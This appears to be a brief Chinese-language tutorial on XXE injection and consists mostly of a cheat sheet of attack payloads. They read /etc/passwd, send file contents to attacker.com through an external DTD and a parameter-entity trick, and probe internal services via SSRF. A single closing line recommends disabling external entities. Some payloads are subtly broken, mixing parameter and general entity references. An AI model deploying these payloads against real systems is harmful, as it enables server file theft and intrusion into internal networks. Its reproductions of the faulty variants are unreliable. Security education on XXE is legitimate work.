XXE(XML External Entity)攻击是一种常见的Web安全漏洞,它允许攻击者干扰应用程序处理XML数据的方式。XXE攻击通常发生在应用程序解析XML输入时,没有正确地处理外部实体。
以下是一些常见的XXE攻击playload:
- 基本的XXE攻击playload:
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>&xxe;</root>
这个playload会尝试读取服务器上的/etc/passwd
文件,并将其内容包含在XML响应中。
2. 利用blind XXE:
当应用程序不返回XXE注入的结果时,可以使用blind XXE攻击。攻击者可以尝试将数据发送到外部服务器。
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;]>
<root></root>
在evil.dtd
文件中,可以定义一个外部实体,该实体将尝试从目标服务器获取数据并将其发送到攻击者的服务器。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%send;
- 利用XXE执行SSRF攻击:
XXE攻击还可以用于执行服务器端请求伪造(SSRF)攻击,攻击者可以尝试访问服务器上的内部网络资源。
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://localhost:8080/internal" >]>
<root>&xxe;</root>
- DTD参数实体XXE攻击:
在某些情况下,攻击者可以使用DTD参数实体来执行XXE攻击。
<!DOCTYPE root [
<!ENTITY % param1 SYSTEM "file:///etc/passwd">
<!ENTITY % param2 "<!ENTITY external SYSTEM 'http://attacker.com/?x=%param1;'>">
%param2;
%external;]>
<root></root>
这些是一些常见的XXE攻击playload,但请注意,XXE攻击的有效性取决于目标应用程序的具体配置和上下文。为了保护应用程序免受XXE攻击,建议禁用外部实体的解析,并使用安全的XML解析器配置。